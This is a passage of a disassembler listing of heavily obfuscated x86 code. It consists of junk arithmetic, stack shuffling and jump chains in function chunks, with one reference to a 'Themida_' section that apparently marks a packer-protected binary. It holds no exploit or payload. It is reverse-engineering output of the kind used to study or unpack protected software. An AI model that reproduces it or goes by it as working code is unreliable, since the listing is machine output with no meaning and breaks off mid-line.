sub_55FCA5+300j mov [esp+0], ax jmp loc_55E09F ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560253: ; CODE XREF: sub_562ABA+7EE2j sub [esp-6+arg_0+2], 3C552EF8h jmp loc_56E360 ; --------------------------------------------------------------------------- loc_56025F: ; CODE XREF: sub_562ABA+830Dj sub ebp, 68850BE1h sub ebp, 7E2A11CBh jmp loc_567A22 ; --------------------------------------------------------------------------- loc_560270: ; CODE XREF: sub_562ABA+4D46j add ch, 1Ch sub ch, 0FFh shl ch, 8 xor ch, 3Fh jmp loc_571534 ; --------------------------------------------------------------------------- loc_560281: ; CODE XREF: sub_562ABA+1604j push esi mov esi, 2 jmp loc_56E73B ; --------------------------------------------------------------------------- loc_56028C: ; CODE XREF: sub_562ABA-12D9j sub esi, 73B61A53h jmp loc_571DEF ; --------------------------------------------------------------------------- loc_560297: ; CODE XREF: sub_562ABA+7FF0j push 0AF0h mov [esp+2+var_4+2], edx sub esp, 4 mov [esp+6+var_8+2], eax push ecx mov ecx, 280B7FC7h sub [esp+0Ah+var_8+2], ecx pop ecx push [esp+6+var_8+2] pop edx push 117Eh mov [esp+0Ah+var_C+2], ebx push esp jmp loc_564252 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_5602C2 proc near ; CODE XREF: sub_562ABA+4B1Dj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], esi pop ecx pop esi not ecx shr ecx, 1 sub ecx, 0FFFFFFFFh xor ecx, 12422AC9h shl ecx, 4 jmp loc_56D239 sub_5602C2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5602DF: ; CODE XREF: sub_562ABA-761j push 0A2Ch mov [esp+12h+var_12], eax mov eax, esi jmp loc_56EA43 ; --------------------------------------------------------------------------- loc_5602EE: ; CODE XREF: sub_562ABA+4B35j pop edi add ebp, 6E196A53h jmp loc_55EF67 ; --------------------------------------------------------------------------- loc_5602FA: ; CODE XREF: sub_562ABA+5FEFj mov ebx, [esp+0] add esp, 4 add edi, 7C472B8Dh sub edi, eax sub edi, 7C472B8Dh jmp loc_56E778 ; --------------------------------------------------------------------------- loc_560313: ; CODE XREF: sub_562ABA+45EAj mov ebx, 64080A29h xor ebx, 2F5122B5h jmp loc_5721B7 ; --------------------------------------------------------------------------- loc_560323: ; CODE XREF: sub_562ABA+DEC1j add ecx, ebx sub ecx, 158B700Ch jmp loc_5619BD ; --------------------------------------------------------------------------- loc_560330: ; CODE XREF: sub_562ABA+5E0Cj pop ecx sub eax, 66CB6707h add eax, edx add eax, 66CB6707h pop edx add eax, 2B267D11h add eax, ebx sub eax, 2B267D11h sub eax, 65662175h jmp loc_56B304 ; --------------------------------------------------------------------------- loc_560354: ; CODE XREF: sub_562ABA+86Aj add edi, esi add edi, 7EB9621Bh push [esp+2+var_4+2] pop esi add esp, 4 xchg edi, [esp+0] pop esp jmp loc_56A6A2 ; --------------------------------------------------------------------------- loc_56036F: ; CODE XREF: sub_562ABA-46B9j add eax, ecx pop ecx sub edx, eax mov eax, [esp-0Ch+arg_8] add esp, 4 push edx add [esp-0Ch+arg_8], 31A074CDh pop dword ptr [ecx] jmp loc_570757 ; --------------------------------------------------------------------------- loc_56038C: ; CODE XREF: sub_562ABA-152Dj add ebp, 1C9105DAh add ebp, ecx jmp loc_56627B ; --------------------------------------------------------------------------- loc_560399: ; CODE XREF: sub_562ABA+276j push 5D4Fh mov [esp-0Ch+arg_8], esi push ecx push 5A325E37h pop ecx xor ecx, 76545AE0h push ecx pop esi pop ecx not esi shr esi, 2 add esi, 0CCD68A6h jmp loc_560F58 ; --------------------------------------------------------------------------- loc_5603C1: ; CODE XREF: sub_562ABA+D31j xchg ecx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] mov cx, word ptr [esp-0Ch+arg_8] sub esp, 4 jmp loc_5697DA ; --------------------------------------------------------------------------- loc_5603D3: ; CODE XREF: sub_562ABA+CEA4j push 7B24h mov [esp-4+arg_0], esi mov esi, 2 add eax, esi mov esi, [esp-4+arg_0] push edx jmp loc_570BEE ; --------------------------------------------------------------------------- loc_5603EB: ; CODE XREF: sub_562ABA-374Aj add esp, 4 jmp loc_5662FB ; --------------------------------------------------------------------------- loc_5603F6: ; CODE XREF: sub_562ABA+3829j pop dx push 6BAEh mov [esp+8+var_8], ebp mov ebp, esp add ebp, 4 jmp loc_56FDF4 ; --------------------------------------------------------------------------- loc_56040D: ; CODE XREF: sub_562ABA+EAEAj xchg ebp, edi not ebp jmp loc_561C0A ; --------------------------------------------------------------------------- loc_560416: ; CODE XREF: sub_562ABA+FFEBj mov esi, 3CF7721Dh mov eax, 0D3BACBD7h jmp loc_56C6ED ; --------------------------------------------------------------------------- loc_560425: ; CODE XREF: sub_562ABA+7E07j mov edi, [esp+8+var_8] add esp, 4 pop ebx sub esp, 4 mov [esp+4+var_4], edi mov edi, 2 jmp loc_561909 ; --------------------------------------------------------------------------- loc_56043F: ; CODE XREF: sub_562ABA+EEADj not edx or edx, 42C876DAh sub edx, 0B480D1C9h jmp loc_56A6B6 ; --------------------------------------------------------------------------- loc_560452: ; CODE XREF: sub_562ABA+E481j xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] mov esp, [esp+4+var_4] bt word ptr [esp+4+var_4], ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_560466: ; CODE XREF: sub_562ABA-2EE2j xchg edi, [esp+0] mov esp, [esp+0] add esp, 4 push 393Dh mov [esp+0], eax push ebx push 0E226C47h pop ebx push esi mov esi, 721C4DA9h or esi, 8DC3AC9h neg esi xor esi, 74FE13ACh add ebx, esi pop esi push ebx pop eax jmp loc_564BD1 ; --------------------------------------------------------------------------- loc_56049F: ; CODE XREF: sub_562ABA+2986j mov ecx, 2465115Ch push edx push ebx mov ebx, ecx mov edx, ebx mov ebx, [esp+1Ah+var_1A] add esp, 4 mov ebx, edx mov edx, [esp+16h+var_16] push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp+1Eh+var_1E], eax mov eax, 496B1AA3h push eax not [esp+22h+var_22] pop eax inc eax jmp loc_570F0D ; --------------------------------------------------------------------------- loc_5604D7: ; CODE XREF: sub_562ABA+6B3Aj push 432Ah mov [esp+22h+var_22], eax push eax push esp mov eax, [esp+2Ah+var_2C+2] add esp, 4 sub esp, 4 mov [esp+2Ah+var_2C+2], edx push 4 pop edx jmp loc_560D48 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FCA5 loc_5604FE: ; CODE XREF: sub_55FCA5+1Bj pop eax push ebx jmp loc_561B5D ; END OF FUNCTION CHUNK FOR sub_55FCA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560505: ; CODE XREF: sub_562ABA+686Dj mov ecx, esp push ebx push 4 pop ebx add ecx, ebx mov ebx, [esp+0] add esp, 4 push esi mov esi, esp jmp loc_55F529 ; --------------------------------------------------------------------------- loc_560521: ; CODE XREF: sub_562ABA+A604j pop esp push esi mov esi, 1ADB36D4h xor esi, 6FEF63A3h push esi push edx pop esi pop edx not edx jmp loc_568F3A ; --------------------------------------------------------------------------- loc_560539: ; CODE XREF: sub_562ABA+68A6j mov ch, 0F9h add ch, 0EEh xor dl, ch pop ecx sub al, 2Ch sub al, 1Ah add al, 6 add al, dl sub esp, 4 mov [esp+0], edx mov dh, 0EEh not dh dec dh shr dh, 2 sub dh, 0FEh jmp loc_5625A8 ; --------------------------------------------------------------------------- loc_560563: ; CODE XREF: sub_562ABA+720Fj jmp loc_55E09F ; --------------------------------------------------------------------------- loc_560568: ; CODE XREF: sub_562ABA+9DCCj push [esp+2Eh+var_2C+2] mov edx, [esp+32h+var_32] add esp, 4 pop dword ptr [esp+0] pop esp xor eax, [esp+26h+var_28+2] xor [esp+26h+var_28+2], eax xor eax, [esp+26h+var_28+2] jmp loc_55E9B0 ; --------------------------------------------------------------------------- loc_560584: ; CODE XREF: sub_562ABA+E2F0j push [esp+26h+var_28+2] pop ebx add esp, 4 sub esp, 4 jmp loc_563D4B ; --------------------------------------------------------------------------- loc_560593: ; CODE XREF: sub_562ABA+B996j sub edx, edi pop edi add [esp+22h+var_1E], edx push [esp+22h+var_22] pop edx add esp, 4 mov ebp, [esp+1Eh+var_1E] jmp loc_566FC7 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push eax push esp mov eax, [esp] add esp, 4 push edi push ebx jmp loc_5644B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5605CA: ; CODE XREF: sub_562ABA+C969j add edx, 0BF03B8FBh add ebp, edx pop edx jmp loc_5686F7 ; --------------------------------------------------------------------------- loc_5605D8: ; CODE XREF: sub_562ABA+78E5j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+1Ah+var_1A] pop esp push edx push edi mov edi, 46417387h xchg ebx, edi not ebx jmp loc_57266D ; --------------------------------------------------------------------------- loc_5605F7: ; CODE XREF: sub_562ABA+FA4Ej or edi, 4EE913F4h push eax mov eax, 4C520E17h shl eax, 3 dec eax xor eax, 6E152EAFh jmp loc_5692CD ; --------------------------------------------------------------------------- loc_560611: ; CODE XREF: sub_562ABA+E21Bj mov ecx, 5DC2771Bh jmp loc_55F15C ; --------------------------------------------------------------------------- loc_56061B: ; CODE XREF: sub_562ABA-20DCj pop esi jmp loc_56A7CC ; --------------------------------------------------------------------------- loc_560621: ; CODE XREF: sub_562ABA+B20Bj add ebx, esi add ebx, 1A266E2h pop esi add ebx, 2 xchg ebx, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] or word ptr [esp+1Ah+var_1A], ax pushf jmp loc_56238C ; --------------------------------------------------------------------------- loc_56063D: ; CODE XREF: sub_562ABA-478Aj add esi, 3AE0255h add esi, ebp sub esi, 3AE0255h mov ebp, [esp-0Ah+arg_4+2] add esp, 4 push 6D81h mov [esp-0Ah+arg_4+2], ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 sub ecx, edi pop edi xchg ecx, [esp-0Ah+arg_4+2] pop esp mov [esp-0Eh+arg_8+2], ebp mov ebp, 1F5E1348h sub ebp, 0B0E9C11Bh push ecx jmp loc_56F8CE ; --------------------------------------------------------------------------- loc_560682: ; CODE XREF: sub_562ABA-A42j pop edx dec ah neg ah push dx push 668Ch mov [esp-8+arg_4], ecx jmp loc_572078 ; --------------------------------------------------------------------------- loc_560696: ; CODE XREF: sub_562ABA+FDC0j sub cl, dh pop edx xor cl, 31h jmp loc_56ED4A ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_56B425 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5606AD: ; CODE XREF: sub_562ABA+215Cj mov esp, [esp-0Ch+arg_8] mov cx, word ptr [esp-0Ch+arg_8] push ecx push esp jmp loc_564EF3 ; --------------------------------------------------------------------------- loc_5606BB: ; CODE XREF: sub_562ABA+FFBj push ecx mov ch, 0BCh and ch, 88h push dx jmp loc_56D689 ; --------------------------------------------------------------------------- loc_5606C8: ; CODE XREF: sub_562ABA-568j sub eax, 6EBE0EC4h add edx, eax pop eax push eax push ecx mov ecx, 353A1818h mov eax, 7053151Dh xor eax, ecx pop ecx shl eax, 8 xchg eax, edi dec edi xchg eax, edi neg eax shr eax, 2 not eax xor eax, 0DA43413Bh add edx, eax pop eax xchg edx, [esp+0] pop esp push ebp push 2E143B61h pop ebp jmp loc_571027 ; --------------------------------------------------------------------------- loc_560704: ; CODE XREF: sub_562ABA+866Aj add esp, 4 sub esi, 6235028Ch mov ecx, [esp-6+arg_0+2] sub esp, 4 mov [esp+0], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0] jmp loc_56512C ; --------------------------------------------------------------------------- loc_560732: ; CODE XREF: sub_562ABA+6FA5j mov [esp+0], eax mov eax, esp jmp loc_56ACA4 ; --------------------------------------------------------------------------- loc_56073C: ; CODE XREF: sub_562ABA+959Cj mov esi, [esp+0] jmp loc_563084 ; --------------------------------------------------------------------------- loc_560744: ; CODE XREF: sub_562ABA+E068j push ebx jmp loc_565DF4 ; --------------------------------------------------------------------------- loc_56074A: ; CODE XREF: sub_562ABA+84DCj sub bl, al add bl, 0FDh add bl, 0E7h jmp loc_567CFB ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_560757 proc near ; CODE XREF: sub_562ABA+7950j push ebx jmp loc_563476 sub_560757 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56075D: ; CODE XREF: sub_562ABA-4462j xchg edi, edx add edx, 32B7C69h sub edi, edx pop edx jmp loc_5729C2 ; --------------------------------------------------------------------------- loc_56076D: ; CODE XREF: sub_562ABA+45DDj push 3E43h mov [esp+46h+var_46], eax jmp loc_5705C8 ; --------------------------------------------------------------------------- loc_56077A: ; CODE XREF: sub_562ABA+9363j xor [esp+46h+var_46], edx xor edx, [esp+46h+var_46] pop esp xor ebx, [esp+42h+var_42] xor [esp+42h+var_42], ebx jmp loc_571FCE ; --------------------------------------------------------------------------- loc_56078C: ; CODE XREF: sub_562ABA+ACE6j add ah, dh pop edx sub ah, bh sub ah, 0C3h pop ebx jmp loc_56BF12 ; --------------------------------------------------------------------------- loc_56079A: ; CODE XREF: sub_562ABA+7395j add esp, 4 push [esp+36h+var_36] pop eax push 4A86h mov [esp+3Ah+var_3A], ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 add ecx, esi pop esi xchg ecx, [esp+3Ah+var_3A] mov esp, [esp+3Ah+var_3A] jmp loc_567C82 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56112E loc_5607C8: ; CODE XREF: sub_56112E+1Dj push eax mov eax, 1464518Ah add edi, eax pop eax pop edx push 4066h mov [esp+0], esi push 2 pop esi add edi, esi mov esi, [esp+0] add esp, 4 push 7308h mov [esp+0], edi jmp loc_56131C ; END OF FUNCTION CHUNK FOR sub_56112E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5607F5: ; CODE XREF: sub_562ABA+59B6j sub ecx, 14DC1BA5h shr ecx, 5 jmp loc_571BF1 ; --------------------------------------------------------------------------- loc_560803: ; CODE XREF: sub_562ABA-AA4j sub eax, 5485712Fh add eax, ecx add eax, 5485712Fh add eax, 6773271Ch mov ecx, [esp+3Ah+var_3A] add esp, 4 xor ebx, eax jmp loc_568EC0 ; --------------------------------------------------------------------------- loc_560821: ; CODE XREF: sub_562ABA+36F9j xchg ebx, edi shl edi, 5 push 20FDh jmp loc_56E598 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- lodsb jmp loc_56E5D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560836: ; CODE XREF: sub_562ABA+FA26j push 1AF7h mov [esp+3Eh+var_3E], edi push esp mov edi, [esp+42h+var_42] add esp, 4 jmp loc_55FFC2 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], esi push 1B3Ch push esp jmp loc_56C22F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_56085F: ; CODE XREF: sub_562ABA+BE8Aj push 73FBh mov [esp+42h+var_42], ecx mov ch, 8Dh and ch, 24h inc ch dec ch jmp loc_57248C ; --------------------------------------------------------------------------- loc_560875: ; CODE XREF: sub_562ABA+8EFFj mov esi, ebx jmp loc_563B1C ; --------------------------------------------------------------------------- loc_56087C: ; CODE XREF: sub_562ABA+9023j mov ebx, esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_56F36A ; --------------------------------------------------------------------------- loc_56088F: ; CODE XREF: sub_562ABA+3D1Fj xor edi, 893771Ch not edi add edi, 513F5C31h neg edi sub edi, 61113B94h jmp loc_571B04 ; --------------------------------------------------------------------------- loc_5608AA: ; CODE XREF: sub_562ABA+A015j inc ebp sub ebp, 0F94C0FD4h mov esi, ebp pop ebp push ecx mov ecx, 3B580CECh not ecx dec ecx not ecx add ecx, 0D426535Ah jmp loc_55F93B ; --------------------------------------------------------------------------- loc_5608CA: ; CODE XREF: sub_562ABA+34E3j mov ecx, [esp+46h+var_46] add esp, 4 mov esi, edx mov edx, [esp+42h+var_42] jmp loc_560DE2 ; --------------------------------------------------------------------------- loc_5608DD: ; CODE XREF: sub_562ABA+BE72j mov [esp+42h+var_42], eax jmp loc_560F95 ; --------------------------------------------------------------------------- loc_5608E5: ; CODE XREF: sub_562ABA+B6B6j pop ecx add esp, 4 push 6885h mov [esp+3Eh+var_3E], esi mov esi, esp jmp loc_56F6B7 ; --------------------------------------------------------------------------- loc_5608FB: ; CODE XREF: sub_562ABA+C39Cj pop ebx pop [esp+3Ah+var_3A] pop esp jmp loc_56A91D ; --------------------------------------------------------------------------- loc_560905: ; CODE XREF: sub_562ABA+536Dj shl edi, 7 inc edi shr edi, 1 add edi, 0B8F7E1AEh jmp loc_56BEA2 ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov cx, [esp] push edi jmp loc_569D1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560920: ; CODE XREF: sub_562ABA+9CFCj add eax, 4 push 5034h mov [esp+36h+var_36], ebx push 2 mov ebx, [esp+3Ah+var_3A] add esp, 4 add eax, 1B8F46DCh add eax, ebx sub eax, 1B8F46DCh push [esp+36h+var_36] pop ebx sub esp, 4 mov [esp+3Ah+var_3A], edx jmp loc_56EF95 ; --------------------------------------------------------------------------- loc_560956: ; CODE XREF: sub_562ABA+D8EEj xchg edi, edx not edi jmp loc_572022 ; --------------------------------------------------------------------------- loc_56095F: ; CODE XREF: sub_562ABA+CEFAj push esi push eax push 773948DCh pop eax add eax, 320CE250h jmp loc_55EDB5 ; --------------------------------------------------------------------------- loc_560971: ; CODE XREF: sub_562ABA-2124j add edx, 1F4A5D60h add edx, 17F47C86h jmp loc_5707E4 ; --------------------------------------------------------------------------- loc_560982: ; CODE XREF: sub_562ABA-43D5j pop eax push edx push esi mov esi, 50944023h shr esi, 5 sub esi, 0A11C7CE6h mov edx, esi pop esi jmp loc_560971 ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_56099B proc near ; CODE XREF: sub_562ABA+B061j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebp push esp jmp loc_5652F2 sub_56099B endp ; --------------------------------------------------------------------------- lodsd jmp loc_56FFD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_5609AD: ; CODE XREF: sub_562ABA+BB55j mov esp, [esp+22h+var_22] jmp loc_566748 ; --------------------------------------------------------------------------- loc_5609B5: ; CODE XREF: sub_562ABA-10BFj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+22h+var_22] pop esp push ebx push esp jmp loc_56462F ; --------------------------------------------------------------------------- loc_5609CE: ; CODE XREF: sub_562ABA+1A2Ej shr eax, 2 jmp loc_55E350 ; --------------------------------------------------------------------------- loc_5609D6: ; CODE XREF: sub_562ABA+C2F4j push esi mov esi, 0DF22403h sub edx, esi jmp loc_56061B ; --------------------------------------------------------------------------- loc_5609E3: ; CODE XREF: sub_562ABA+4CD7j sub edx, esi pop esi jmp loc_569D0F ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- push si push small word ptr [esp+2] mov si, [esp] add esp, 2 jmp loc_571F73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560A01: ; CODE XREF: sub_562ABA-45FCj add esp, 4 pop [esp+1Eh+var_1E] mov esp, [esp+1Ah+var_1A] jmp loc_566937 ; --------------------------------------------------------------------------- loc_560A0F: ; CODE XREF: sub_562ABA-18C6j push esi pop eax pop esi pop ebx push edx push ebp push 56111D31h pop ebp or ebp, 9222046h sub ebp, 5F333D53h jmp loc_570C4C ; --------------------------------------------------------------------------- loc_560A2C: ; CODE XREF: sub_562ABA+90FBj mov ebx, 2256463Fh shr ebx, 5 not ebx add ebx, 3EC85BBAh not ebx xor ebx, 0C24A5673h mov ebp, ebx pop ebx add eax, 363D0BE5h add eax, ebp jmp loc_55FE92 ; --------------------------------------------------------------------------- loc_560A53: ; CODE XREF: sub_562ABA+B07Ej sub ecx, 65813B69h add ecx, ebx add ecx, 65813B69h mov ebx, [esp+16h+var_16] add esp, 4 push esi mov esi, 2 jmp loc_56744C ; --------------------------------------------------------------------------- loc_560A72: ; CODE XREF: sub_562ABA+B33Fj sub eax, 4C356CB5h shr eax, 6 add eax, 0FCBFEC52h add ebp, eax pop eax sub esp, 4 mov [esp+16h+var_16], ebp push [esp+16h+var_12] pop ebp jmp loc_568E0B ; --------------------------------------------------------------------------- loc_560A92: ; CODE XREF: sub_562ABA+9F61j push eax jmp loc_56E39D ; --------------------------------------------------------------------------- loc_560A98: ; CODE XREF: sub_562ABA+8137j add esp, 4 jmp loc_56CC0D ; --------------------------------------------------------------------------- loc_560AA0: ; CODE XREF: sub_562ABA+1FB3j xor edi, eax mov eax, [esp+16h+var_16] add esp, 4 add ebp, 5CD1629Ch sub ebp, 1CAA12AAh add ebp, edi add ebp, 1CAA12AAh sub ebp, 5CD1629Ch pop edi and eax, ebp push dword ptr [esp+0] pop ebp push esi mov esi, esp add esi, 4 jmp loc_5713F1 ; --------------------------------------------------------------------------- loc_560ADA: ; CODE XREF: sub_562ABA+2FC0j add esp, 4 add [esp+0Eh+var_C+2], ebp pop ebp jmp loc_56B20F ; --------------------------------------------------------------------------- loc_560AE7: ; CODE XREF: sub_562ABA+9B01j sub ebx, 5F7927B8h push eax mov eax, 19C122F2h or eax, 6F7D5BA1h and eax, 60684B48h sub eax, 7F7A58C8h add eax, 82AE1378h add ebx, 7964599Dh add ebx, eax sub ebx, 7964599Dh mov eax, [esp+0] add esp, 4 push esi mov esi, 5E1074Ah shr esi, 7 neg esi jmp loc_56C929 ; --------------------------------------------------------------------------- loc_560B2E: ; CODE XREF: sub_562ABA+DD14j add eax, ebx pop ebx add ecx, 691336DDh sub ecx, eax sub ecx, 691336DDh push [esp+0Ah+var_C+2] pop eax jmp loc_563EEF ; --------------------------------------------------------------------------- loc_560B48: ; CODE XREF: sub_562ABA-1421j mov esp, [esp+0Ah+var_C+2] imul cx, ax jmp loc_561BC5 ; --------------------------------------------------------------------------- loc_560B54: ; CODE XREF: sub_562ABA+FFj pop eax add bl, 4Ch push small 6F77h mov word ptr [esp+8+var_8], ax mov ah, 0ADh jmp loc_5694D3 ; --------------------------------------------------------------------------- loc_560B67: ; CODE XREF: sub_562ABA+AF96j add eax, 1E180FA7h and edx, eax pop eax inc edx add edx, 373A2BDDh sub edx, 17434386h sub edi, edx mov edx, [esp+4+var_4] add esp, 4 mov eax, edi pop edi add ebx, eax pop eax push ebx push [esp-4+arg_4] pop ebx pop [esp-4+arg_0] pop esp shl word ptr [esp-0Ch+arg_8], cl pushf jmp loc_55E09F ; END OF FUNCTION CHUNK FOR sub_562ABA ; =============== S U B R O U T I N E ======================================= sub_560BA1 proc near ; CODE XREF: sub_562ABA+547Fj push ebp mov ebp, 31A6641Bh not ebp shr ebp, 6 xor ebp, 75876213h add ebp, 0B1A9DDBFh push edx push ebp jmp loc_563431 sub_560BA1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560BBF: ; CODE XREF: sub_562ABA+58DFj mov eax, 30835413h add [esp-8+arg_8], eax mov eax, [esp-8+arg_4] push 3B89h mov [esp-4+arg_0], ecx mov ecx, esp jmp loc_55FB67 ; --------------------------------------------------------------------------- loc_560BDA: ; CODE XREF: sub_562ABA+6CEAj push edi sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 7B017B95h not ebp push esi mov esi, 35B51A6Dh inc esi inc esi inc esi jmp loc_56B0B7 ; --------------------------------------------------------------------------- loc_560BF6: ; CODE XREF: sub_562ABA+4DA6j pop esp mov [esp+4+var_4], eax jmp loc_562C90 ; --------------------------------------------------------------------------- loc_560BFF: ; CODE XREF: sub_562ABA+97D0j mov ah, 0BBh shr ah, 7 sub ah, 0BCh xor ah, 0C4h sub esp, 4 mov [esp+8+var_8], edx mov dl, ah mov bh, dl mov edx, [esp+8+var_8] add esp, 4 mov eax, [esp+4+var_4] jmp loc_56C181 ; --------------------------------------------------------------------------- loc_560C25: ; CODE XREF: sub_562ABA+B2E0j mov cl, al mov bh, cl pop ecx mov dl, bh pop ebx pop eax sub al, dl pop edx add al, 0DCh jmp loc_569BBD ; --------------------------------------------------------------------------- loc_560C38: ; CODE XREF: sub_562ABA-47EDj sub ebp, 54032D5h add ebp, 0EE06E162h add eax, ebp pop ebp push 6187h mov [esp+0], edi sub esp, 4 mov [esp+2+var_4+2], esi push ebx mov ebx, 4175636Dh mov esi, ebx pop ebx push esi jmp loc_564765 ; --------------------------------------------------------------------------- loc_560C67: ; CODE XREF: sub_562ABA+AC90j push [esp+6+var_8+2] pop edi push 540h mov [esp+0Ah+var_C+2], ecx jmp loc_55FBF6 ; --------------------------------------------------------------------------- loc_560C78: ; CODE XREF: sub_562ABA-4797j add esi, 4F5F0208h add esi, edi push ebx mov ebx, 1BC62CD6h jmp loc_56FDB9 ; --------------------------------------------------------------------------- loc_560C8B: ; CODE XREF: sub_562ABA+ABF0j and ecx, 17851A02h sub ecx, 13E0412h xor edx, ecx jmp loc_569D6D ; --------------------------------------------------------------------------- loc_560C9E: ; CODE XREF: sub_562ABA+F2D0j add dword ptr [esp+0], 4 pop eax add eax, 4 add eax, 4 jmp loc_561A13 ; --------------------------------------------------------------------------- loc_560CB0: ; CODE XREF: sub_562ABA+4B53j xor ebp, 4 add edx, 4B536035h jmp loc_567ED9 ; --------------------------------------------------------------------------- loc_560CC1: ; CODE XREF: sub_562ABA+A09Dj add esp, 4 and ebx, edi pop edi or ebx, ebx jnz loc_55FDF3 push 4332h jmp loc_572B4B ; --------------------------------------------------------------------------- loc_560CD9: ; CODE XREF: sub_562ABA+31j sub ebp, 68A637B6h add ebp, ebx push ecx mov ecx, 5EE73D28h xor ecx, 36410A9Eh jmp loc_56F542 ; --------------------------------------------------------------------------- loc_560CF2: ; CODE XREF: sub_562ABA+697Bj add edi, 21905C6Dh add edi, ecx sub edi, 21905C6Dh mov ecx, [esp-6+arg_0+2] add esp, 4 xchg edi, [esp-0Ah+arg_4+2] jmp loc_570808 ; --------------------------------------------------------------------------- loc_560D11: ; CODE XREF: sub_562ABA+E637j pop esp push 4307h mov [esp-0Ah+arg_4+2], edx jmp loc_56696B ; --------------------------------------------------------------------------- loc_560D1F: ; CODE XREF: sub_562ABA+BAE8j mov ebx, [esp-0Ah+arg_4+2] push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp-6+arg_0+2] jmp loc_56BF0A ; --------------------------------------------------------------------------- loc_560D39: ; CODE XREF: sub_562ABA-2F2Bj pop ebx sub esp, 4 jmp loc_561C6D ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- loc_560D42: ; DATA XREF: Themida_:0055DFA8o push edx jmp loc_563F66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560D48: ; CODE XREF: sub_562ABA-25C1j add eax, edx jmp loc_56335B ; END OF FUNCTION CHUNK FOR sub_562ABA ; --------------------------------------------------------------------------- mov cx, [esp] push 3A25h jmp loc_56CB86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562ABA loc_560D5D: ; CODE XREF: sub_562ABA+126Bj sub edi, esi add edi, 4FA625E3h jmp loc_5640F8 ; --------------------------------------------------------------------------- loc_560D6A: ; CODE XREF: sub_562ABA+395j xor ebp, 0A896A85h jmp loc_560DD5 ; --------------------------------------------------------------------------- loc_560D75: ; CODE XREF: sub_562ABA+ECD7j mov [esp+2Ah+var_2C+2], esp jmp loc_55E746 ; --------------------------------------------------------------------------- loc_560D7D: ; CODE XREF: sub_562ABA+501Aj push [esp+2Ah+var_2C+2] mov edx, [esp+0] push ebx jmp loc_564CEE ; --------------------------------------------------------------------------- loc_560D89: ; CODE XREF: sub_562ABA+D4F7j sub ebp, 339D6AC6h jmp loc_56CC52 ; --------------------------------------------------------------------------- loc_560D94: ; CODE XREF: sub_562ABA+9936j pop ebx push 3F80h mov [esp+32h+var_32], esi mov esi, 560C2CB4h dec esi jmp loc_55FB21 ; --------------------------------------------------------------------------- loc_560DA8: ; CODE XREF: sub_562ABA-39AAj add eax, 4 jmp loc_56BD71 ; --------------------------------------------------------------------------- loc_560DB0: ; CODE XREF: sub_562ABA+DD0Aj add eax, edx pop edx jmp loc_5658A3 ; --------------------------------------------------------------------------- loc_560DB8: ; CODE XREF: sub_562ABA+48AFj add esi, ebx add esi, 62590B81h jmp loc_56BB94 ; --------------------------------------------------------------------------- loc_560DC5: ; CODE XREF: sub_562ABA+1EDFj sub edi, esi mov esi, [esp+32h+var_32] add esp, 4 jmp loc_55F63A ; --------------------------------------------------------------------------- loc_560DD5: ; CODE XREF: sub_562ABA-1D4Aj add ebp, 0BD676ECh mov ebx, ebp jmp loc_564627 ; --------------------------------------------------------------------------- loc_560DE2: ; CODE XREF: 